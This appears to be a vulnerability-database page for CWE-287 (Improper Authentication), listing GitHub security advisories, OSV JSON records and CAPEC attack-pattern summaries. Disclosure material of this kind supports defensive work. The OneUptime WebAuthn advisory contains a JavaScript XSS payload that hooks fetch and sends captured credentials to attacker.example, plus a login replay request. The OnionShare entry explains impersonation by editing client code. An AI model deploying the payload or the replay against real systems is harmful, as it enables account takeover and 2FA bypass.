CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
6052 vulnerabilities reference this CWE, most recent first.
GHSA-GJJ5-998G-V36V
Vulnerability from github – Published: 2022-01-21 23:20 – Updated: 2024-10-07 21:20Between September 26, 2021 and October 8, 2021, Radically Open Security conducted a penetration test of OnionShare 2.4, funded by the Open Technology Fund's Red Team lab. This is an issue from that penetration test.
- Vulnerability ID: OTF-003
- Vulnerability type: Improper Access Control
- Threat level: Moderate
Description:
Anyone with access to the chat environment can write messages disguised as another chat participant.
Technical description:
Prerequisites:
- Alice and Bob are legitimate users
- A third user has access to the chat environment
This screenshot shows Alice (glimpse-depress) and Bob (blinker-doorpost) joined a chatroom and are the only participants in the chatroom. Then the non-listed user squad-nursing writes a message in the chatroom without being visible in the list of users. The sending of the message itself is not required but was done here to show the initial access. The non-listed participant now renames himself to Bob and writes another message, seemingly coming from Bob.
This can be reproduced by slightly modifying the client-side JavaScript. The joined emit needs to be removed from the socket.on(connect)event handler. Therefore a client is not listed in the userlist and has no active session.
https://github.com/onionshare/onionshare/blob/d08d5f0f32f755f504494d80794886f346fbafdb/cli/onionshare_cli/resources/static/js/chat.js#L16-L18
This can be done either via a crafted client or runtime modification of the chat.js script in the browser's internal debugger.
It is still possible to call the text method and send text to the chat via websocket.
https://github.com/onionshare/onionshare/blob/d08d5f0f32f755f504494d80794886f346fbafdb/cli/onionshare_cli/web/chat_mode.py#L131-L139
It is also possible to call the update_username function and choose an existing username from the chat.
https://github.com/onionshare/onionshare/blob/d08d5f0f32f755f504494d80794886f346fbafdb/cli/onionshare_cli/web/chat_mode.py#L141-L162
Afterwards the hidden user can send messages that are displayed as coming from the impersonated user. There is no way to distinguish between the fake and original message.
Impact:
An adversary with access to the chat environment can impersonate existing chat participants and write messages but not read the conversation. The similar exploit described in OTF-004 (page 19) has only slightly more requirements but also allows for reading.
Recommendation:
- Implement proper session handling
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "onionshare-cli"
},
"ranges": [
{
"events": [
{
"introduced": "2.3"
},
{
"fixed": "2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21692"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-19T19:20:26Z",
"nvd_published_at": "2022-01-18T23:15:00Z",
"severity": "MODERATE"
},
"details": "Between September 26, 2021 and October 8, 2021, [Radically Open Security](https://www.radicallyopensecurity.com/) conducted a penetration test of OnionShare 2.4, funded by the Open Technology Fund\u0027s [Red Team lab](https://www.opentech.fund/labs/red-team-lab/). This is an issue from that penetration test.\n\n- Vulnerability ID: OTF-003\n- Vulnerability type: Improper Access Control\n- Threat level: Moderate\n\n## Description:\n\nAnyone with access to the chat environment can write messages disguised as another chat participant.\n\n## Technical description:\n\nPrerequisites:\n\n- Alice and Bob are legitimate users\n- A third user has access to the chat environment\n\n\n\nThis screenshot shows Alice (`glimpse-depress`) and Bob (`blinker-doorpost`) joined a chatroom and are the only participants in the chatroom. Then the non-listed user squad-nursing writes a message in the chatroom without being visible in the list of users. The sending of the message itself is not required but was done here to show the initial access. The non-listed participant now renames himself to Bob and writes another message, seemingly coming from Bob.\n\nThis can be reproduced by slightly modifying the client-side JavaScript. The `joined` emit needs to be removed from the `socket.on(connect) `event handler. Therefore a client is not listed in the userlist and has no active session.\n\nhttps://github.com/onionshare/onionshare/blob/d08d5f0f32f755f504494d80794886f346fbafdb/cli/onionshare_cli/resources/static/js/chat.js#L16-L18\n\nThis can be done either via a crafted client or runtime modification of the `chat.js` script in the browser\u0027s internal debugger.\n\nIt is still possible to call the text method and send text to the chat via websocket.\n\nhttps://github.com/onionshare/onionshare/blob/d08d5f0f32f755f504494d80794886f346fbafdb/cli/onionshare_cli/web/chat_mode.py#L131-L139\n\nIt is also possible to call the `update_username` function and choose an existing username from the chat.\n\nhttps://github.com/onionshare/onionshare/blob/d08d5f0f32f755f504494d80794886f346fbafdb/cli/onionshare_cli/web/chat_mode.py#L141-L162\n\nAfterwards the hidden user can send messages that are displayed as coming from the impersonated user. There is no way to distinguish between the fake and original message.\n\n## Impact:\n\nAn adversary with access to the chat environment can impersonate existing chat participants and write messages but not read the conversation. The similar exploit described in OTF-004 (page 19) has only slightly more requirements but also allows for reading.\n\n## Recommendation:\n\n- Implement proper session handling",
"id": "GHSA-gjj5-998g-v36v",
"modified": "2024-10-07T21:20:07Z",
"published": "2022-01-21T23:20:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/onionshare/onionshare/security/advisories/GHSA-gjj5-998g-v36v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21692"
},
{
"type": "PACKAGE",
"url": "https://github.com/onionshare/onionshare"
},
{
"type": "WEB",
"url": "https://github.com/onionshare/onionshare/releases/tag/v2.5"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/onionshare-cli/PYSEC-2022-43.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Improper Access Control in Onionshare"
}
GHSA-GJJC-PCWP-C74M
Vulnerability from github – Published: 2026-03-02 21:40 – Updated: 2026-03-06 15:16Summary
The WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification (W3C Web Authentication Level 2, §13.4.3) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.
Details
During WebAuthn authentication, the server generates a random challenge via generateAuthenticationOptions() in Common/Server/Services/UserWebAuthnService.ts (line 164-221). However, the challenge is only returned to the client and never stored in a session or database on the server side.
When the client submits the authentication response, the server reads the expectedChallenge directly from the untrusted request body (Authentication.ts:1042):
// App/FeatureSet/Identity/API/Authentication.ts:1041-1049
} else if (verifyWebAuthn) {
const expectedChallenge: string = data["challenge"] as string; // ← client-controlled
const credential: any = data["credential"];
await UserWebAuthnService.verifyAuthentication({
userId: alreadySavedUser.id!.toString(),
challenge: expectedChallenge, // ← NOT a server-stored value
credential: credential,
});
}
The verifyAuthentication() method then passes this client-provided challenge to @simplewebauthn/server's verifyAuthenticationResponse() as expectedChallenge (UserWebAuthnService.ts:268-270):
const verification: any = await verifyAuthenticationResponse({
response: data.credential,
expectedChallenge: data.challenge, // ← client-controlled value used as "expected"
expectedOrigin: expectedOrigin,
expectedRPID: Host.toString(),
credential: { /* public key from DB */ },
});
Since both the expectedChallenge (from request body) and the challenge embedded in the credential's clientDataJSON originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user's authenticator.
Correct flow vs. OneUptime's flow:
| Step | Correct WebAuthn | OneUptime |
|---|---|---|
| 1. Generate challenge | Server generates random challenge | Same |
| 2. Store challenge | Saved in session/DB | Not saved anywhere |
| 3. Send to client | Sent to client | Same |
| 4. Authenticator signs | Authenticator signs challenge | Same |
| 5. Client returns | Returns signed credential | Returns credential + challenge |
| 6. Verify | Compares against server-stored value | Compares against client-provided value |
| Result | Replay-proof | Replayable |
PoC
Prerequisites: - An attacker has obtained the victim's password (e.g., credential stuffing, phishing) - An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)
Steps to reproduce:
- Capture a valid WebAuthn assertion.
Intercept or extract a legitimate authentication request containing
challengeandcredentialfields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):
javascript
// XSS payload to intercept WebAuthn authentication
const origFetch = window.fetch;
window.fetch = async function(url, opts) {
if (url.includes('/verify') && opts?.body) {
const body = JSON.parse(opts.body);
if (body.data?.credential) {
// Exfiltrate the assertion
navigator.sendBeacon('https://attacker.example/collect', JSON.stringify({
challenge: body.data.challenge,
credential: body.data.credential
}));
}
}
return origFetch.apply(this, arguments);
};
- Replay the captured assertion at any later time. Send the following request with the victim's email, password, and the captured challenge + credential:
```http POST /api/identity/authentication/login HTTP/1.1 Content-Type: application/json
{ "data": { "email": "victim@example.com", "password": "", "challenge": "", "credential": { "id": "", "rawId": "", "response": { "authenticatorData": "", "clientDataJSON": "", "signature": "" }, "type": "public-key", "clientExtensionResults": {}, "authenticatorAttachment": "platform" } } } ```
- Result: The server accepts the authentication. The
expectedChallenge(from the request body) matches the challenge inclientDataJSON(from the same captured assertion), and the signature is valid (signed by the real user's key). A session token is returned, granting full access to the victim's account.
The attacker bypasses WebAuthn 2FA without possessing the victim's authenticator device.
Impact
WebAuthn 2FA is rendered ineffective. The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely — the assertion never expires because there is no server-side challenge state to invalidate.
Who is impacted: Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.
Attack chain potential: This vulnerability can be chained with: - Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions - Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing - User enumeration via differential error messages to identify valid targets
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oneuptime/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "10.0.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28787"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-294"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T21:40:54Z",
"nvd_published_at": "2026-03-06T05:16:39Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe WebAuthn authentication implementation does not store the challenge on the server side. Instead, the challenge is returned to the client and accepted back from the client request body during verification. This violates the WebAuthn specification ([W3C Web Authentication Level 2, \u00a713.4.3](https://www.w3.org/TR/webauthn-2/#sctn-cryptographic-challenges)) and allows an attacker who has obtained a valid WebAuthn assertion (e.g., via XSS, MitM, or log exposure) to replay it indefinitely, completely bypassing the second-factor authentication.\n\n### Details\n\nDuring WebAuthn authentication, the server generates a random challenge via `generateAuthenticationOptions()` in `Common/Server/Services/UserWebAuthnService.ts` (line 164-221). However, the challenge is **only returned to the client** and **never stored in a session or database** on the server side.\n\nWhen the client submits the authentication response, the server reads the `expectedChallenge` directly from the untrusted request body (`Authentication.ts:1042`):\n\n```typescript\n// App/FeatureSet/Identity/API/Authentication.ts:1041-1049\n} else if (verifyWebAuthn) {\n const expectedChallenge: string = data[\"challenge\"] as string; // \u2190 client-controlled\n const credential: any = data[\"credential\"];\n\n await UserWebAuthnService.verifyAuthentication({\n userId: alreadySavedUser.id!.toString(),\n challenge: expectedChallenge, // \u2190 NOT a server-stored value\n credential: credential,\n });\n}\n```\n\nThe `verifyAuthentication()` method then passes this client-provided challenge to `@simplewebauthn/server`\u0027s `verifyAuthenticationResponse()` as `expectedChallenge` (`UserWebAuthnService.ts:268-270`):\n\n```typescript\nconst verification: any = await verifyAuthenticationResponse({\n response: data.credential,\n expectedChallenge: data.challenge, // \u2190 client-controlled value used as \"expected\"\n expectedOrigin: expectedOrigin,\n expectedRPID: Host.toString(),\n credential: { /* public key from DB */ },\n});\n```\n\nSince both the `expectedChallenge` (from request body) and the challenge embedded in the credential\u0027s `clientDataJSON` originate from the same captured assertion, they will always match. The cryptographic signature also remains valid because it was signed by the legitimate user\u0027s authenticator.\n\n**Correct flow vs. OneUptime\u0027s flow:**\n\n| Step | Correct WebAuthn | OneUptime |\n|------|-----------------|-----------|\n| 1. Generate challenge | Server generates random challenge | Same |\n| 2. Store challenge | **Saved in session/DB** | **Not saved anywhere** |\n| 3. Send to client | Sent to client | Same |\n| 4. Authenticator signs | Authenticator signs challenge | Same |\n| 5. Client returns | Returns signed credential | Returns credential **+ challenge** |\n| 6. Verify | Compares against **server-stored** value | Compares against **client-provided** value |\n| Result | Replay-proof | **Replayable** |\n\n### PoC\n\n**Prerequisites:**\n- An attacker has obtained the victim\u0027s password (e.g., credential stuffing, phishing)\n- An attacker has captured a valid WebAuthn assertion from the victim (e.g., via XSS on a OneUptime page, network interception, or log leakage)\n\n**Steps to reproduce:**\n\n1. **Capture a valid WebAuthn assertion.**\n Intercept or extract a legitimate authentication request containing `challenge` and `credential` fields. For example, by injecting JavaScript via stored XSS in a Mermaid diagram on a status page (related vulnerability):\n\n ```javascript\n // XSS payload to intercept WebAuthn authentication\n const origFetch = window.fetch;\n window.fetch = async function(url, opts) {\n if (url.includes(\u0027/verify\u0027) \u0026\u0026 opts?.body) {\n const body = JSON.parse(opts.body);\n if (body.data?.credential) {\n // Exfiltrate the assertion\n navigator.sendBeacon(\u0027https://attacker.example/collect\u0027, JSON.stringify({\n challenge: body.data.challenge,\n credential: body.data.credential\n }));\n }\n }\n return origFetch.apply(this, arguments);\n };\n ```\n\n2. **Replay the captured assertion at any later time.**\n Send the following request with the victim\u0027s email, password, and the captured challenge + credential:\n\n ```http\n POST /api/identity/authentication/login HTTP/1.1\n Content-Type: application/json\n\n {\n \"data\": {\n \"email\": \"victim@example.com\",\n \"password\": \"\u003cvictim\u0027s password\u003e\",\n \"challenge\": \"\u003ccaptured challenge value\u003e\",\n \"credential\": {\n \"id\": \"\u003ccaptured credential id\u003e\",\n \"rawId\": \"\u003ccaptured rawId\u003e\",\n \"response\": {\n \"authenticatorData\": \"\u003ccaptured authenticatorData\u003e\",\n \"clientDataJSON\": \"\u003ccaptured clientDataJSON\u003e\",\n \"signature\": \"\u003ccaptured signature\u003e\"\n },\n \"type\": \"public-key\",\n \"clientExtensionResults\": {},\n \"authenticatorAttachment\": \"platform\"\n }\n }\n }\n ```\n\n3. **Result:** The server accepts the authentication. The `expectedChallenge` (from the request body) matches the challenge in `clientDataJSON` (from the same captured assertion), and the signature is valid (signed by the real user\u0027s key). A session token is returned, granting full access to the victim\u0027s account.\n\n The attacker bypasses WebAuthn 2FA without possessing the victim\u0027s authenticator device.\n\n### Impact\n\n**WebAuthn 2FA is rendered ineffective.** The entire purpose of WebAuthn as a second factor is to protect accounts when passwords are compromised. This vulnerability means that once an attacker has both the password and a single captured assertion, they can authenticate as the victim indefinitely \u2014 the assertion never expires because there is no server-side challenge state to invalidate.\n\n**Who is impacted:** Any OneUptime user who has enrolled WebAuthn/Passkey as their second factor. The 2FA protection they rely on provides no meaningful security against an attacker who has obtained their password and intercepted one authentication exchange.\n\n**Attack chain potential:** This vulnerability can be chained with:\n- Stored XSS (e.g., via Mermaid rendering in status pages) to capture assertions\n- Absence of rate limiting on authentication endpoints to obtain passwords via credential stuffing\n- User enumeration via differential error messages to identify valid targets",
"id": "GHSA-gjjc-pcwp-c74m",
"modified": "2026-03-06T15:16:15Z",
"published": "2026-03-02T21:40:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-gjjc-pcwp-c74m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28787"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OneUptime has WebAuthn 2FA bypass: server accepts client-supplied challenge instead of server-stored value, allowing credential replay"
}
GHSA-GJQ7-WPXP-5486
Vulnerability from github – Published: 2025-07-16 18:32 – Updated: 2025-07-16 18:32An authentication bypass vulnerability exists in HPE AutoPass License Server (APLS) prior to 9.18.
{
"affected": [],
"aliases": [
"CVE-2025-37107"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-16T18:15:24Z",
"severity": "HIGH"
},
"details": "An authentication bypass vulnerability exists in HPE AutoPass License Server (APLS) prior to 9.18.",
"id": "GHSA-gjq7-wpxp-5486",
"modified": "2025-07-16T18:32:38Z",
"published": "2025-07-16T18:32:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37107"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbgn04877en_us"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GJQQ-F3MG-PP9X
Vulnerability from github – Published: 2022-05-01 18:04 – Updated: 2022-05-01 18:04Unspecified vulnerability in Default.aspx in Podium CMS allows remote attackers to have an unknown impact, possibly session fixation, via a META HTTP-EQUIV Set-cookie expression in the id parameter, related to "cookie manipulation." NOTE: this issue might be cross-site scripting (XSS).
{
"affected": [],
"aliases": [
"CVE-2007-2555"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-05-09T17:19:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in Default.aspx in Podium CMS allows remote attackers to have an unknown impact, possibly session fixation, via a META HTTP-EQUIV Set-cookie expression in the id parameter, related to \"cookie manipulation.\" NOTE: this issue might be cross-site scripting (XSS).",
"id": "GHSA-gjqq-f3mg-pp9x",
"modified": "2022-05-01T18:04:47Z",
"published": "2022-05-01T18:04:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2555"
},
{
"type": "WEB",
"url": "http://osvdb.org/36182"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/2664"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/467823/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/468058/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GJRQ-XHQ7-VC79
Vulnerability from github – Published: 2022-05-14 01:05 – Updated: 2025-04-20 03:46InFocus Mondopad 2.2.08 is vulnerable to authentication bypass when accessing uploaded files by entering Control-Alt-Delete, and then using Task Manager to reach a file.
{
"affected": [],
"aliases": [
"CVE-2017-14972"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-09T05:29:00Z",
"severity": "HIGH"
},
"details": "InFocus Mondopad 2.2.08 is vulnerable to authentication bypass when accessing uploaded files by entering Control-Alt-Delete, and then using Task Manager to reach a file.",
"id": "GHSA-gjrq-xhq7-vc79",
"modified": "2025-04-20T03:46:26Z",
"published": "2022-05-14T01:05:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14972"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/badbiddy/Vulnerability-Disclosure/master/InFocus%20Mondopad%20%3C%202.2.08%20-%20CVE-2017-14972"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/badbiddy/Vulnerability-Disclosure/master/InFocus%20Mondopad%20\u003c%202.2.08%20-%20CVE-2017-14972"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GJV4-Q69Q-PGQC
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-07-13 00:01In M-Files Web product with versions before 20.10.9524.1 and 20.10.9445.0, a remote attacker could use a flaw to obtain unauthenticated access to 3rd party component license key information on server.
{
"affected": [],
"aliases": [
"CVE-2021-37254"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-28T14:15:00Z",
"severity": "HIGH"
},
"details": "In M-Files Web product with versions before 20.10.9524.1 and 20.10.9445.0, a remote attacker could use a flaw to obtain unauthenticated access to 3rd party component license key information on server.",
"id": "GHSA-gjv4-q69q-pgqc",
"modified": "2022-07-13T00:01:33Z",
"published": "2022-05-24T19:19:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37254"
},
{
"type": "WEB",
"url": "https://www.m-files.com/about/trust-center/security-vulnerabilities/cve-2021-37254"
},
{
"type": "WEB",
"url": "https://www.m-files.com/company/trust-center/vulnerability-disclosure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GM26-863F-73H9
Vulnerability from github – Published: 2022-05-17 02:04 – Updated: 2022-05-17 02:04The password reset feature in the administrator interface for Eucalyptus 2.0.0 and 2.0.1 does not perform authentication, which allows remote attackers to gain privileges by sending password reset requests for other users.
{
"affected": [],
"aliases": [
"CVE-2010-3905"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-12-22T21:00:00Z",
"severity": "HIGH"
},
"details": "The password reset feature in the administrator interface for Eucalyptus 2.0.0 and 2.0.1 does not perform authentication, which allows remote attackers to gain privileges by sending password reset requests for other users.",
"id": "GHSA-gm26-863f-73h9",
"modified": "2022-05-17T02:04:55Z",
"published": "2022-05-17T02:04:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3905"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/64167"
},
{
"type": "WEB",
"url": "http://open.eucalyptus.com/wiki/esa-01"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/42632"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/42666"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/45462"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-1033-1"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/3259"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/3260"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GM2F-VJP3-XM46
Vulnerability from github – Published: 2022-05-17 03:08 – Updated: 2022-05-17 03:08The SSHv2 functionality in Cisco IOS 15.2, 15.3, 15.4, and 15.5 and IOS XE 3.6E before 3.6.3E, 3.7E before 3.7.1E, 3.10S before 3.10.6S, 3.11S before 3.11.4S, 3.12S before 3.12.3S, 3.13S before 3.13.3S, and 3.14S before 3.14.1S does not properly implement RSA authentication, which allows remote attackers to obtain login access by leveraging knowledge of a username and the associated public key, aka Bug ID CSCus73013.
{
"affected": [],
"aliases": [
"CVE-2015-6280"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-09-28T02:59:00Z",
"severity": "HIGH"
},
"details": "The SSHv2 functionality in Cisco IOS 15.2, 15.3, 15.4, and 15.5 and IOS XE 3.6E before 3.6.3E, 3.7E before 3.7.1E, 3.10S before 3.10.6S, 3.11S before 3.11.4S, 3.12S before 3.12.3S, 3.13S before 3.13.3S, and 3.14S before 3.14.1S does not properly implement RSA authentication, which allows remote attackers to obtain login access by leveraging knowledge of a username and the associated public key, aka Bug ID CSCus73013.",
"id": "GHSA-gm2f-vjp3-xm46",
"modified": "2022-05-17T03:08:18Z",
"published": "2022-05-17T03:08:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6280"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20150923-sshpk"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20150923-sshpk/cvrf/cisco-sa-20150923-sshpk_cvrf.xml"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1033646"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GM9W-MM4V-7P49
Vulnerability from github – Published: 2022-05-17 02:12 – Updated: 2022-05-17 02:12Session fixation vulnerability in moziloCMS 1.10.2 and earlier allows remote attackers to hijack web sessions by setting the PHPSESSID parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6128"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-13T18:30:00Z",
"severity": "MODERATE"
},
"details": "Session fixation vulnerability in moziloCMS 1.10.2 and earlier allows remote attackers to hijack web sessions by setting the PHPSESSID parameter.",
"id": "GHSA-gm9w-mm4v-7p49",
"modified": "2022-05-17T02:12:12Z",
"published": "2022-05-17T02:12:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6128"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/45526"
},
{
"type": "WEB",
"url": "http://cms.mozilo.de/index.php?cat=10_moziloCMS\u0026page=60_Changelog"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32021"
},
{
"type": "WEB",
"url": "http://www.majorsecurity.de/index_2.php?major_rls=major_rls55"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/31495"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GMC7-JVV7-W245
Vulnerability from github – Published: 2022-05-17 05:44 – Updated: 2025-04-12 01:46phpMyAdmin before 3.4.0-beta1 allows remote attackers to bypass authentication and obtain sensitive information via a direct request to phpinfo.php, which calls the phpinfo function.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "phpmyadmin/phpmyadmin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0-beta1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2010-4481"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-12T01:46:37Z",
"nvd_published_at": "2010-12-17T19:00:00Z",
"severity": "HIGH"
},
"details": "phpMyAdmin before 3.4.0-beta1 allows remote attackers to bypass authentication and obtain sensitive information via a direct request to phpinfo.php, which calls the phpinfo function.",
"id": "GHSA-gmc7-jvv7-w245",
"modified": "2025-04-12T01:46:37Z",
"published": "2022-05-17T05:44:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4481"
},
{
"type": "PACKAGE",
"url": "https://github.com/phpmyadmin/phpmyadmin"
},
{
"type": "WEB",
"url": "http://phpmyadmin.git.sourceforge.net/git/gitweb.cgi?p=phpmyadmin/phpmyadmin%3Ba=commitdiff%3Bh=4d9fd005671b05c4d74615d5939ed45e4d019e4c"
},
{
"type": "WEB",
"url": "http://phpmyadmin.git.sourceforge.net/git/gitweb.cgi?p=phpmyadmin/phpmyadmin;a=commitdiff;h=4d9fd005671b05c4d74615d5939ed45e4d019e4c"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2010/dsa-2139"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:000"
},
{
"type": "WEB",
"url": "http://www.phpmyadmin.net/home_page/security/PMASA-2010-10.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "phpMyAdmin allows remote attackers to bypass authentication and obtain sensitive information"
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
